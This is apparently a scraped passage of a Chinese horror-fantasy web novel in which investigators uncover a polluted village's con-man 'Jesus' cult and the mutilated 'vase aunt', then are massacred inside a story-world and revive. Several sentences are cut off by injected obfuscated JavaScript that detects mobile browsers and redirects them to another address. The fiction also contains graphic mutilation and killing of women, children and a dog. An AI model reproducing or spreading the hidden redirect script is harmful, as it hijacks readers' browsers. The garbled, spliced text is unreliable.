林清原念了出来:“村长楚大强74岁,主任李岩66岁,副主任楚三子62岁……都是正常的年龄。” 新记明点头:“对。这是上一次人口普查的时候核对的资料,目前村里最大的是九十多岁,最小的也有六十多岁了。” 白仙贝很不解:“那村长还说他是一百八十六岁?” “还是因为污染。”新记明解释道:“当时的工厂污染情况很严重,污染空气、污染水源、污染土地,虽然有人反馈过,但是并没有被受理。直到村里的新生儿出现了畸形的情况,这场污染事件才得到了重视。而从调查到关闭工厂,中间又拖了几年。等到工厂移址的时候,长期生活在畜村里的人已经受到了不可逆的影响。这就是村民们记不清自己的年龄的原因。” 白仙贝语气悲伤:“原来不是真的长寿,而是生了病……” 林清原翻了翻资料,发现一个问题:“这个花瓶姑姑……跟邪教有关?” 新记明回答:“不是邪教,是基督教。” “怎么回事?”白仙贝也找到了这段话: “畜村人说,耶稣怜悯众人,化身来赐予救赎,他们就选出了花瓶姑姑作为神的使者日夜祈祷,赐下恩膏,得以痊愈。” 她继续往后看这段说法的解释: “经核实,当时出现的‘耶稣化身’为骗子,宣扬不正当思想,意为骗取钱财,后以‘诈骗罪’、‘侵犯财产罪’等罪提起公诉,数罪并罚[1],获刑二十二年。而‘恩膏’的说法,其实是医护人员进行治疗后开的药。好嘛,是信上帝信多了,觉得医护人员的努力也是耶稣派来的嘛。” 成柳纠正她:“耶稣和上帝可不是同一个人,虽然在基督教里,上帝通常被认为是‘三位一体’,也就是圣父耶和华、圣子耶稣和圣灵,耶稣也总是被认为是上帝的化身,但是他们还是有独立的神格的。” “啊?三位一体?圣灵?” 白仙贝听的晕晕乎乎的。 成柳失笑:“不了解宗教的人确实会分不清这些。而且宗教分为很多种,哪怕是同样提到耶稣,也有分先知和弥赛亚的[2],不用太在意。” “那既然那个骗子已经‘化身’耶稣来拯救村子了,为什么还要选择‘神的使者’?”白仙贝问。 成柳分析:“既然所谓的‘耶稣化身’是骗子,那他的行为就很好猜了。他还保留着中国古时候的思想,啊,或者村里人对中国古时候的思想更为适应,所以才要单独派出代表来接触,这样比较容易保持神秘感,也更好骗钱。 “当时工厂的污染事件让大部分年轻人都被逼搬走了,留下的都是些老年人,而没有搬走的那一部分年轻人,也因为污染受到了损伤。多重压力下的人,是很容易被洗脑和操控的。” “哦!言之有理!” 林清原对成柳大为赞叹:“不愧是成柳,上次的‘故事’里我还在想念你呢,如果你当时在,通关速度肯定要快上许多。” 听了这话的新记明心里有些酸,他看了眼林清原,接着往下说:“花瓶姑姑的信息,我找到了当时的新闻,也发到群里了。” 林清原一看就震惊了:“花瓶姑姑是真的‘姑姑’啊?!” 花瓶姑姑是畜村人在危难之际,受骗子蒙骗,推出来的“神的使者”——其实是“替死鬼”。村民们会将骗子看中的姑娘送进祠堂,单独接受“教导”,用她一人的苦难,来替全村人的苦难。如果这姑娘怀了孕,就会将其肚中的孩子视为“苦难的种子”。为了不让“苦难的种子”有“发芽”的机会,村民们就会将姑娘的双臂与双腿砍去,然后把她塞进花瓶里,作为“花瓶姑姑”继续传递“福音”。当“花瓶姑姑”死去,就是已经完成了“净化苦难”的使命,此时就会选出下一个姑娘,继续重复这一流程。 这种情况太过匪夷所思以及残忍,在骗子被抓起来的时候,与此事相关的村民也被抓了一大批。只是在这种恶行被遏止的时候,村里已经供上了第三位“花瓶姑姑”。 “啧,一群畜生。”成柳骂道。 比利的爪子狠狠拍在了地上,给地上拍出了一个小坑。很显然,它也在为这种邪恶的行径生气。 新记明点了点头。虽然他表情没有什么波动,但是眼中也是充斥着愤怒。 “这些事情已经是几十年前的了,哪怕有官方队伍提前收集了资料,一些细节报道也很难找到了。” “那他们怎么现在还在供着‘花瓶姑姑’?而且咱们刚才看到的‘花瓶姑姑’,里面就只是一朵像人脸的花。”说到这,林清原的表情变得有些惊悚:“楚大强说,‘花是花,花瓶里的才是花瓶姑姑’,难道花瓶里面还有东西?!” “啊,小鹤,你看。” 白仙贝给林清原看了几张图片。 图片上是在工厂原址上开出的花田,每一朵花都颜色漆黑,个头巨大,低低垂着脑袋。而这些花从特定角度看,和人脸很像,赫然就是花瓶里‘花瓶姑姑’! “这些花是工厂污染后的变异品种,在几十年前还引起过轰动。” 林清原回想了一会儿:“好像曾经是听说过‘人面花’。” 新记明说:“是的。这些花就是现在的‘花瓶姑姑’。官方后来复查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过一个队伍有一个队伍的考量,万事屋作为名气最大的“民间队伍”,在找线索、推细节这方面自然有独特的角度,说不定就会注意到一些先前的队伍没注意到的地方。 很快,比利在堂屋里发现了奇怪的地方。 堂屋乍一看很正常,正如大部分村民的自建宅,正中摆了个供桌,墙上贴了财神画像,求个平安富贵。 不过财神画像已经褪色,讨笑的脸也已经蒙尘。 比利“汪汪”叫着,跳到供桌上,爪子扒拉着画像翘起的边角。 在财神画像翘起来的一角下,尽管和墙壁的颜色很像,但是林清原还是看出来了,这里还有着别的东西。 她把财神画像揭了下来。 在财神画像的后面,是一张几乎褪成了白色的耶稣画像。 耶稣右手并指举起,左手抚在胸口挂着的十字架项链上,长发披肩,目光温和地直视前方,仿佛他的存在本身就是一场温暖的救赎。 只是这张耶稣画像已经被财神画像贴住太久,红色颜料经过时间的摧残,印在了耶稣的脸上,正是这点不规则的红色,让耶稣画像无端地生了几分诡异。 林清原举手画了个十。 “无意冒犯。” 她不信教,但是她对于这些事情一向比较尊重。尤其之后还要进入“故事”里,先提前求个心安也不错。 就是她不了解基督教相关的事情,也就不知道自己刚才比划的那个手势对不对。 45. 进入“故事” 在万事屋来到畜村的第二天,UFO发动了。 林清原进入UFO的一瞬间,就感觉到了不对劲。 她的身体仿佛变成了面团,被一种无形的力量轻轻地揉搓、拉长,再重塑。这个过程并不疼,但很怪异,像是失去了对自己身体的掌控权。 等林清原看清自己的处境后,怪异感达到了顶峰。 她变成了小孩。 她试着活动了一下身体,速度没变,只是力量变弱了。她跑进旁边的屋子里,找到了一面镜子。 镜子中的女孩儿浓眉大眼的,脸颊饱鼓鼓,看起来就只有四五岁的样子。 看着镜中那张熟悉的笑脸,林清原心想:她这是也返老还童了? 她摸了摸额头,那里光滑一片,没有任何伤疤的痕迹。 在她四岁的时候,有一次爬树掉下来了,不小心磕到了脑袋,直接磕出来一个大窟窿。那个伤疤恢复了一年多才彻底消失。 而现在明明是四五岁的样子,却没有这个疤。 看来这回变小孩,只是把现在的身体变成了小时候,而不是时间直接倒退了。 林清原重重的叹了口气。 虽然已经做好了这次的“故事”会很奇怪的准备,却还是没想到会从“译者”自身就先发生了异变。 林清原刚从屋里出来,就碰上了村长。 楚大强不是在现实世界中见过的小孩模样,而是满脸皱纹的老年人样子。 林清原一开始没认出来,是楚大强抓她的衣领,把她整个人捏着了,才认出来的。 “原娃子,该吃饭的时候你乱跑什么?还得让我这个当村长的过来抓你,让别个瞧见了,你让我的老脸往哪搁啊?” 林清原尝试挣脱,没挣脱开。 她不想“故事”一开始,什么都还没搞清楚,就先动脚把人踢伤了。 就在这时,一只小狗“汪汪”叫着从门外跑进来了。 林清原惊喜地喊道:“比利!” 比利也变成了小狗,胖乎乎的,黑白两色的毛发还没变成长毛,还在绒绒的炸着,看着可爱极了。 楚大强刚把林清原放下来,比利就扑到了她的怀里。 “汪汪汪!(找到你了!)” 比利摇着小尾巴叫得欢快。 林清原眉开眼笑地抱着它亲了好几口。 其实她有时候还挺怀念比利小时候的,小奶狗的手感,抱过一次就爱上了。小狗总会长大,林清原不打算再养第二只,也就只能偶尔怀念一下以前的相处时光。这次进“故事”了,倒是正好实现了这个念想。 楚大强看着这两只黏糊的小崽子,欣慰地笑了。 “行了,你乱跑不吃饭,狗娃子也不吃了,追着你就跑来了。” 林清原的肚子适时叫了几声。 楚大强把她带回了家,饭菜早已在桌上摆好。楚大强的老婆正在忙活。 一顿饭的时间,林清原搞明白了她和比利现在的身份。 在这个“故事”里,她是楚大强的孙女,比利则是她前段时间在路边捡到的小狗。 吃过饭,老妇人刷了锅,开始打包一些吃食。 林清原凑过去,好奇地问:“奶奶,你在做什么?” 老妇人笑着答:“咱们吃过饭了,也该给花瓶姑姑送饭去了。今天轮到咱家送了,你忘了?” “花瓶姑姑?我也要去!” 林清原央求着,却被拒绝了。 “这不是胡闹嘛!小孩和畜生不能进祠堂!” 楚大强虽然疼爱后辈,却对这件事很坚决。 林清原息了声,想着之后再偷溜进去。 老妇人摸了摸林清原的脑袋,说:“你不是还和明娃子他们约好了一起玩呢?去找他们玩去。记得别去池塘那玩儿,水太脏,喝了要生病。” 明娃子?难道是新记明? 林清原又问了其他几个人,发现所有人都在这个“故事”里,只是身份是不同人家的小孩。 于是打听清楚地点后,她就带着比利把大家都集合过来了。 几个小孩聚在一起后,先是沉默了一会儿,然后不约而同地大笑了起来。 “好神奇,我竟然还能看到小鹤小时候的样子!小鹤你好可爱啊!” 白仙贝抱住林清原,脸蹭来蹭去,幸福得眼睛都眯上了。 林清原看着大家的样子,笑得快要岔气。 白仙贝是他们几个人中个头最瘦小的可以预见,却没想到第二矮的是新记明。不仅如此,新记明还是个十足的胖孩儿,下巴足足叠了三层!倒是成柳,是小时候和长大后的样子最相像的,简直是等比例缩小。 林清原个子窜的高,面前有三个毛茸茸的脑袋,她就狞笑着都呼噜了一把。 比利趴在林清原头上,站的高,爪子就伸的远,也跟着揉了三个脑袋。 “哈!叫声老大给我听听!” 孩子王林清原发话了,比利率先配合: “汪汪!(老大!)” 成柳和白仙贝也跟着叫了:“老大!” 剩下新记明,他涨红着脸,就是不说那两个字。 林清原凑了过去,现在的她比新记明高了将近一个头,刻意压过来还挺有魄力的。 “大胆小新!见到老大还不叩拜,该罚!罚……罚……” 她一时间卡了壳。 她还真不知道要罚什么。 于是她把脸转向了其他“得力干将”,问他们的意见。 成柳提议:“要不然让小新想个万事屋的新宣传语?正好咱们还没有正式的宣传语。” “啊?那咱们平时怎么宣传万事屋的?”林清原问。 成柳摊手:“就光写了加大加粗的‘万事屋’三个字,上面打上了‘百分百好评’的标,然后说很会‘讲故事’,价格好商量。” 白仙贝补充道:“主要宣传出来的名气是完结过的委托人打出来的,反响是不错啦,就是很容易被传乱。我还曾经见到有人把万事屋记成了‘包打听’,在‘绿钢笔’板块问呢……” 林清原一直没关注过这些小事,经成柳这么一说,她也觉得有个正式的标语还是很重要的。 “那……万事屋什么都干?” 林清原尴尬一笑。她虽然高中时候选的文科,但是作文是最差的,她灵机一动想出来的标语,还不如不想。 于是这个任务就落到了新记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118482|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明头上。 新记明小声抗议:“我又不是万事屋的正式员工,干嘛要我想……” 其他几人自动忽略了他的话,纷纷鼓励说: “好好想,想好了可是大功一件!” “咳咳,小新啊,你是咱们万事屋最晚入职的老幺,总要给你个表现的机会嘛!” “新哥加油~” 比利也“汪”地语重心长,俨然一副老前辈的做派。 总之,在分配给了万事屋“老幺”新任务后,几人重新回归到了正题。 林清原问:“虽然咱们几个人变小了,但是能力应该都还在吧?我的没问题,你们的呢?” 新记明点头:“没变。” 白仙贝唤出白光,柔和的光芒照亮了每个人的脸。 “我的也没问题。” 比利一巴掌把地面锤了个深深的小坑,身体力行地证明它的能力还在。 成柳没有试,毕竟他的能力前置条件太多,一时间也凑不齐道具。所以他只是猜测:“我的应该也没问题。” 能力没问题,过“故事”就好办多了。 林清原突然想起来一件事,问新记明:“‘渊谷’还在你家吧?那剑没带进来,你的剑招怎么办?村里能找到代替的东西吗?” 渊谷,即原古,它作为一柄魔剑,之前因为失控了,被新记明带回家查了资料,暂时封印在家族秘堂。等凑够正式封印魔剑的大半材料了、能将它控制在可使用范围内了,再带它出来。 不过材料不是那么容易找齐的,很多东西在现在这个时代都可遇不可求,找了这么久了,也还差了相当一部分,所以古剑就还在被暂时封印着用不了。 新记明无奈道:“没有相似的,屋里能找到的长条型工具只有擀面杖。” 白仙贝问:“我住的地方有长柄锤子,那个能用吗?” 成柳想起来一件事:“哎,要不然去化肥厂那看看?如果是工厂的话,可能有合适的建材呢?” 这个建议得到了一致认可。 几人沿着化肥厂的路走去了。 路很好认,因为化肥厂很大一个,离老远就看见了。而且越走近,难闻的气味就越刺鼻。 走到附近,林清原等人不得不掀起衣服护住了口鼻。 即便这样,这股臭气还是熏得人头疼。 比利没有衣服,只能钻在林清原的怀里,头也不能抬,蔫蔫地趴着。 化肥厂外围有高大的围墙,几个小孩进不去,只能在外围找找。 在排水渠边,众人看见了一个令人震惊的场景。 这里长满了人面花。 高大的人面花低垂着头簇拥在一起,挤满了土地。微风一吹,清秀的美人面错落晃动着,混在化肥的臭气里,像是从地下爬出来的尸首。 尽管知道这只是看起来像人脸的花,众人还是被吓了一跳。 走近了看,花的纹理更清楚了,也就不太像人脸了。不过这些花长得太密了,观感也没有好到哪里去。 遗憾的是,在外围找了一下午,还是没有找到趁手的兵器。只有成柳摘了几朵人面花,又铲了一些土,当做备用材料。 几人无奈返回。 46. 耶稣 回去的时候天已经擦黑了,路上,林清原和其他人约好,晚上趁着家里大人睡了,就出来集合,去祠堂看看花瓶姑姑。 回到村长家里,老妇人看着出了满身汗的林清原,心疼地把她拉回到了屋里让她坐着。 林清原盯着堂屋的墙上贴着的财神画像,过去抠了抠。 财神画像粘的很牢,她废了一会儿功夫才抠开一个角。 画像后面干干净净,除了墙壁,没有别的东西。 老妇人“哎呦”着把林清原抱了下来,向财神爷告罪。 林清原问:“奶奶,咱们只拜财神吗?” “还有灶神、门神、土地公呢。” “那耶稣呢?” “耶稣?那是什么?原娃子是想吃酥了?奶奶给你拿桃酥嗷。” 老妇人去给孙女拿吃的去了。 林清原陷入沉思。 没有耶稣?难道是她猜错了?这次的“故事”和耶稣无关?也有可能,毕竟信耶稣的事已经是大几十年前了,或许影响已经消退了,也不会对“故事”造成扭曲。 老妇人给林清原喂完桃酥,喊她去院里洗澡,洗完了再吃饭。 说是洗澡,其实只是一个不算大的水桶,里面有个瓢,舀水往身上淋罢了。 林清原很扭捏,虽然她现在身体是个小孩,但是内里已经成年了啊!当着老妇人的面脱衣服洗澡就算了,楚大强可还在家呢! 老妇人看林清原不洗,就要上来帮她洗。 林清原直接跳开了。她本来速度就是强项,哪怕老妇人天天天天干农活、操持家务,身体很康健,也根本抓不到她。 最后老妇人抓累了,扶着腰说:“原娃子,别跑了,跑的一身臭汗,水都要凉了,你再洗要生病了!” 林清原挠头:“奶奶,我不洗了。” 老妇人瞪了她一眼:“要洗的,我专门找花瓶姑姑要来的洗澡水,你不洗澡,这水也没法吃了。” “那您洗。或者让爷爷洗。” “不管那老头子。我昨天刚洗过,今天再洗不是浪费了?快点乖乖过来洗澡,不然一身的汗,晚上不让你上床了!” 林清原大惊。难道她晚上是和这对老夫妇睡在一张床上的? 她都忘了自己是个四五岁的小孩,大概率还没分床的!那晚上偷溜出来要更小心了。 老妇人絮絮叨叨的,直到说把桶挪到厨房里去洗,林清原才不情不愿地过去了。 比利就守在门外,防着楚大强路过。 迅速冲完出来,林清原在院子转了转,问: “奶奶,水都是找花瓶姑姑要来的吗?吃水也是吗?” 老妇人笑道:“是啊,多亏了有花瓶姑姑,不然水都废了,人都活不下去了。” “那为什么不打井呢?” “打过,你那时候还没出生,你不知道。打的井啊,里面没水,放一夜过去,爬出来老多蛇了,可吓人了!然后就把井填了,吃水用水都求着花瓶姑姑了。” 井中爬出蛇,这和村中的传闻对上了。不过填井这个行动,是没做过的。应该是“故事”扭曲的表现。 林清原接着问:“那水够用吗?每个人都要吃水,花瓶姑姑一天要放多少水出来啊!” 老妇人摇摇头:“勉强用着呗,反正花瓶姑姑的水是干净的,凑活过就行。”她笑道:“从你出生到现在,什么时候短过你喝的水了?还操起这个心了!” 她去厨房给林清原倒了一杯水喝,顺便也给比利拿了一小盆喝。 比利闻了闻,就欢快地喝了。 看来这水没问题。 天彻底黑下去后,林清原就被拉着上床睡觉了。 老夫妇没什么娱乐活动,家里也没电视,早点熄灯,就多省一点电费。 比利没有进屋的资格,它就负责望风,等时间差不多了,就喊大家集合。 林清原把比利抱在怀里,和同伴们一核对,才发现所有人都没分床,要么跟着家长睡,要么跟着哥姐睡。 大家都是偷溜出来的。 祠堂的位置没有变,几人很快就走到了。 和村里的其他地方不同,祠堂是常亮灯的。 林清原小心地推门,木门的质量已经不行了,稍微挪动一点,就嘎吱乱响。 木门被推开了一道小小的缝隙,几人依次进去,轮到新记明的时候,他钻不进去了。因为他胖。 不得已,门缝只能被推的更大了一些。 林清原看着祭台上的花瓶姑姑。 真人果然和花有很大的差别。 如果说花朵是美人面,那真人就是枯萎的花朵。 血腥和秽物的气味掺在一起,充斥着每个人的鼻腔。 花瓶姑姑双眼紧阖,双颊凹陷,头发都打了结,杂乱地披着。 比起人面花带来的诡异感,真人花瓶姑姑的悲惨感已经完全压过了这一幕呈现的恐怖。 几人停顿了一会儿,才准备行动。 按照村里的说法,花瓶姑姑还在活着,他们要小心不要把她吵醒。 然而还不等他们真正动起来,花瓶姑姑就睁开了眼。 花瓶姑姑的眼中布满了红血丝,乍一看像是整双眼都是红色的,格外吓人。 她看到溜进祠堂里的几个小孩后,空洞的眼微微睁大了。 林清原心中一跳,感觉有些不妙。 果然下一刻,花瓶姑姑干裂的嘴就勾起了弧度,她高耸的颧骨提的更高了,一些喑哑的声音从她的喉中溢出: “啊……” 几人不敢再动,都屏住了呼吸,静静等着花瓶姑姑的话。 “肉……我要吃肉……” 花瓶姑姑的眼神钉在比利身上,她发白的舌头都吊了出来。 “肉!给我吃肉!给我吃肉!给我吃肉!给我吃肉!……” 她不断重复着,声音越喊越大,到后面就是在尖叫。 祠堂不能再逗留了。 林清原立马带着几人撤退。他们想把祠堂的门关掉,木门却在这时候卡住了,怎么都关不上。 眼见已经有人赶来,林清原不再管门,和同伴们悄悄跑走了。 一家又一家亮起了灯,人们纷纷朝着祠堂的方向移动。 林清原几人小心地避开了人跑。如果这时候被抓包,后果肯定不会好。 刚跑出路口,几人正打算分开各回各家,新记明就眼尖地看到地上窜过去几条什么东西。 “蛇!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132999|153027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什么?”林清原去看,却什么也没看到。 新记明皱起眉头。 “蛇要跑远了。” 林清原只思考了一秒,就下了令:“追!” 蛇窜出去的速度飞快,一眨眼就要追丢。 新记明能看清蛇的动向,却跟不上蛇的速度;林清原正好相反,能跟上蛇,却看不见蛇。 于是林清原把新记明背在了背上,让他当自己的眼睛来指路。 ——最开始林清原是把新记明公主抱的,奈何她现在四五岁的身体,承受不住小胖墩的重量,这才换成了背的。 就这样,二人紧追在蛇的身后。比利在后面循着气味,带领白仙贝和成柳往前追。 跑了有十多分钟,蛇的速度终于慢下来了。 林清原气喘吁吁地把新记明放了下来,走进蛇钻入的玉米地里。 土地里玉米杆叶和杂草都很多,二人深一脚浅一脚地寻找着蛇的踪迹。 走了没多久,林清原看到了一个人。 那人周围的作物都被压倒了,他就坐在上面,看到有人过来,脸上露出了一个惊喜的笑容。 而这个人的存在,对林清原和新记明来说,堪称是个惊吓。 这个人是西方人长相,有着长而卷的头发,高挺的鼻梁,慈善的眼目,和浓密的胡子;他衣不蔽体,破烂的衣袍耷在地上,染满了脏污。尽管如此落魄,他的眼神却十分明亮,如夜间的晚星,沉静地穿过黑暗,给每一位迷途者带来前行的光芒;他的气质是如此的平和,仿佛不是身处乱糟糟的玉米地,而是坐在某座布教的会厅,下一刻就要说出“阿门”[1],将其真诚的祝福与祷语赐予信徒。 “耶稣……” 林清原下意识地喊出了这个名字。 耶稣怎么会在这?! 耶稣开口说话了,他的声音如暖阳般和煦。 “你们好,很高兴能够见到你们。” 林清原有些愣愣的点头。她实在不知道该作何反应。 她本来以为在这次的“故事”中不会有耶稣相关的事情了,结果竟然直接见到了耶稣本人!要不是出去之后没法说出“故事”里的事,她告诉那些信徒们,她见过耶稣!她说不定还能被奉为“圣女”什么的呢! 新记明很有礼貌的问道:“请问您怎么在这里?” 耶稣温和地笑了一下。 或许是月亮的光线太过清冷,他的笑容里似乎带了些悲伤。 “世界需要神的指引。” 他看向二人,请求道:“请问能够给我带来一些水吗?我已经七天未进食水,实在是干渴了。” 林清原问:“七天?你是七天前来到这里的吗?” 耶稣微抬起手,一条黑蛇从田地里钻了出来,温顺地绕了上去。 新记明认出来,这条黑蛇就是他俩追着过来的那条蛇。 耶稣的目光看向远方,说话似在叹息:“我在这里许久了,远不止七天了。” 面对耶稣的请求,林清原和新记明决定先满足了再说。 于是两个小孩又跑回了村子,去给他拿水。 中途还碰上了赶来的比利、白仙贝和成柳,就让他们三个守在耶稣旁边,顺便探听一些消息。 47. 全员死亡 等回到村子,林清原才发现,想找水不是这么容易的。 村子里的人已经发现几个小孩不见了,也已经知晓祠堂被擅闯了,此时正在搜索几人的踪迹。看他们气势汹汹的样子,怕不是发现了就要交给花瓶姑姑任由处置。 尽管村长夫妇对林清原很好,她也不想去赌一个扭曲的“故事”里的善意。 就算她能被保下来,比利怎么办? 花瓶姑姑之前突然发疯,盯着比利就要把它吃了。比利一只小狗,在这群人的眼中不过是只畜生,再度出现估计只有死路一条了。 林清原尝试凭借自己的高速溜进随便一个房子里找水,却发现村里人好像是知道有人要来偷水,对储水的地方是严防死守,连一只苍蝇都飞不进去。 “要不然去池塘看看?” 新记明无奈提议。 二人躲着人来到了池塘边。 池塘里没有活物,周边也没有任何绿植,只有干枯的土地。 林清原看着散发着刺鼻臭味的池塘,犹豫道:“这水真的能喝吗?” 新记明随意捡了根树枝,拨弄了几下池水,也犹豫了:“好像不能。” 林清原叹了口气,还是决定试试。 她又回了一趟村子,悄悄偷出来一个缸子,然后回到池塘这里,舀了一缸池水。 在二人把水带回到耶稣身边的时候,发现比利和其他两个人,正坐在耶稣面前,一副认真听讲的样子。 白仙贝看向林清原,语气感动:“阿门!” 成柳手抚上胸口,语气严肃:“阿门!” 比利挺胸抬头,语气傲然:“嗷呜!(阿门!)” 林清原呆住了。 完蛋了!万事屋的大家被耶稣感化了!!! 新记明手持树枝,挡在林清原身前,做出了防御的姿态。 好在白仙贝几人只是听耶稣讲故事入迷了,并没有真的被洗脑成教徒。他们见林清原回来了,就站起身,给她腾了位置。 林清原把水缸递给了耶稣。 耶稣并没有接,而是伸出了手,请求她将水倒在他的手上。 林清原依言照做。 然而水倒在耶稣的手里,就漏去了大半,都透过手心,洒在了地上。 林清原看着诧异,却见耶稣就着最后一点水,低头喝了。 喝了水的耶稣猛地咳嗽了好几声,然后又继续伸手要水。 重复了三次,水缸里的水就空了。 满打满算,耶稣也只喝上了三小口。 “水怎么会一直漏呢?”白仙贝很不解,小声问道。 成柳猜到了。 “耶稣受难[1]。他的双手双脚曾被钉子穿透。只是他手中该有钉痕才对,现在看上去却是和正常的手没有区别。” 喝完了水的耶稣剧烈地咳嗽了起来,持续了好久才停下。等他再度开口,嗓音已经变得沙哑: “谢谢你的好意。只是这水污染严重,你们不能喝它。” 林清原有些过意不去:“村里有干净的水,是花瓶姑姑给的。但是我拿不到,只能找来这样的水。” 耶稣虚弱地笑了一下。“原来如此。” 他感激林清原和新记明为他的奔走,也怜悯村里吃水的短缺,于是言道: “凡喝这水的,还要再渴;人若喝我所赐的水,就永远不渴。我所赐的水要在他里头成为泉源,直涌到永生。”[2] 随着话的落下,耶稣的眼中流下了泪水,泪水离开脸颊,变化作了身长翅膀的圣灵,在黑夜中发光,接连不断地飞向了村子的方向。 这些圣灵在村民们的叫喊声中落地,哪怕受到了攻击,也不会动摇一下影子。 它们落在了每一户房屋的院中,融入土地,开辟出了一口井。甘甜的井水喷涌而出,溢出井外,带给人们活水的恩赐。 “水!这是可以喝的水!” 村民们兴奋地跪下,沐浴在井水中,大声呼喊着: “感谢天神!感谢天神!” 很快便有人发现了圣灵们的来向,于是他们结伴追去。 林清原等人并不知道村里发生了什么,他们只看到了圣灵们的离去。 耶稣在散去圣灵后,显得更为虚弱了,他原本明亮的眼睛,此时仿佛蒙上了一层纱。 林清原问他:“你知道关于花瓶姑姑的事吗?” 耶稣只微微勾起了嘴角,并没有说话。 林清原还想接着问,只是还未开口,就感知到了不对劲。 周围的一切好像都被暂停了,然后像录像带一样,迅速快进,略过了一段时间。 她的意识很清醒,却在下一次眨眼后,身边就围满了闻讯赶来的村民们。 村民们高呼着“天神”,在耶稣面前跪下,祈求着他的莅临。 然而不论村民们怎么劝说,耶稣都没有行动,甚至连移动一下位置都不。 有村民急了,直接上手拉了耶稣。 令林清原震惊的是,耶稣直接被拉倒在了地上,被拖着挪了一下。 怪不得耶稣始终不站起来,也不去找水喝,原来他的腿不能动! 见耶稣不能独立行动,村民们更开心了。 他们将耶稣举起,高过头顶,喜气洋洋地要将他抬回村里。 林清原几个小孩也被夹着带走了。 比利的力量很大,没有人能控住它。 它想过来解救林清原,却被呵止:“走!离开这!” 比利只犹豫了两秒,就选择听从小主人的命令,一溜烟跑到了田野深处,失去了踪影。 月光倾洒大地,村民们放声高歌。他们的身体伴随着歌声发生了异变。 一块又一块的突起浮现了又消失,消失了又浮现。像是有什么东西要从他们体内挣脱出来。 每一个人都是如此,甚至连林清原几人的身体也是这样。 林清原不知道想要从身体里鼓出来的东西是什么,每次那怪东西凸起,她都有感应。 这种感应不是疼痛,也不像是活物,非要形容的话,像是在蒸锅里还未蒸好的面饼,随着热气的鼓胀,不时地鼓出一个又一个空包。 她就是那个面饼。 白仙贝悄悄使用能力,想治疗这种怪异的鼓包,却发现毫无作用。 回到村子里后,众人将耶稣和几个小孩放在了祠堂门口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一直对几个小孩很是慈祥的“家长们”,也随着其他村民的脚步一步步逼近,脸上没有了关爱,只余下了残忍。 “先跑!” 林清原说完就打算动身。 然而她刚迈出一步,身体就直愣愣的倒下了。 一转头,其他三人也倒下了。 新记明艰难地说:“不行……身体动不了!” 几个小孩被村民们轻而易举地抓住了。 还沾有耶稣热血的农具落在了他们的身上,削去了他们的皮肉,砍去了他们的身体。 痛叫声此起彼伏。 林清原此时唯一的想法就是:还好比利已经逃了。 下一刻,比利的尸体就被扔在了她的眼前。 它已经被砍作了碎肉,几乎看不出狗的样子。 明月当空,没有人能够阻止这场屠杀。 村民们举起的农具,就是期盼带来新生的祷仗;几个小孩鲜活的生命,就是实现愿望的养料。 万事屋,全员死亡。 48. 复活 世界陷入黑暗,一切倒带重启。 仿佛是溺水之人憋不住呼吸,汹涌的痛苦与求生的本能在互相拉扯,在挣扎中寻求着一线生机。 时间片段快速跳过,进程闪回,不再停留—— “嗬——” 一道濒临窒息的吸气声响起。 林清原情不自禁地跪在地上。她冷汗涟涟,大口呼吸着。 缓了好一会儿,林清原的思绪才回笼。 她惊魂未定地打量自己所在的位置。 是她刚进“故事”时出现的地方。 她又回来了! 她活了! 林清原活动了下身体,确认这不是幻觉。 那么她心里目前就只有一个想法了:去找同伴! 她刚准备朝记忆中的“家”里跑去,就听到身后传来了喊声: “原娃子!” 林清原回头望去,是楚大强。 楚大强絮絮叨叨的,说的话和最开始如出一辙:“原娃子,该吃饭的时候你乱跑什么?还得让我这个当村长的过来抓你,让别个瞧见了,你让我的老脸往哪搁啊?” 林清原看着眼前重复发生的事情,有些愣神。 她的呆愣让楚大强误会了。 村长宽厚的手掌摸上林清原的额头,语气关心:“原娃子怎么出这么多汗?不会发烧了吧?可是脑袋瓜也不热啊?” 他伸出手,想拉林清原的手,被后者下意识避开。 “先回去吃饭,吃了饭你吃点感冒药。让你疯跑,出了一身汗,闪着汗了吧,别一会儿真感冒了。” 林清原盯着面前楚大强慈祥的脸,想到的却是之前被他伙同其他村民一起乱刀砍死的场景。 那种疼痛与无力感,也不过是几分钟前才发生的事。 这种反差感让她有些慌张。 而比起这种慌张,当务之急是先找到同伴。 她是复活了,其他人呢? 尤其白仙贝,她在“故事”里没有痛觉,却是除比利外死的最早的。 白仙贝在被迫倒地后,亲眼见到最爱的同伴们被数十个落下的刀砍中,便疯了般催动自己的能力。 治疗能力缓解了其他人的伤势,也加速了她的死亡。 在她死后的十几秒内,其他人也尽数死去。 白仙贝那么爱哭的一个小女孩,如果她也复活了,肯定精神上受了极大的刺激,搞不好还会直接疯掉自杀。 这种情况,林清原想都不愿想。 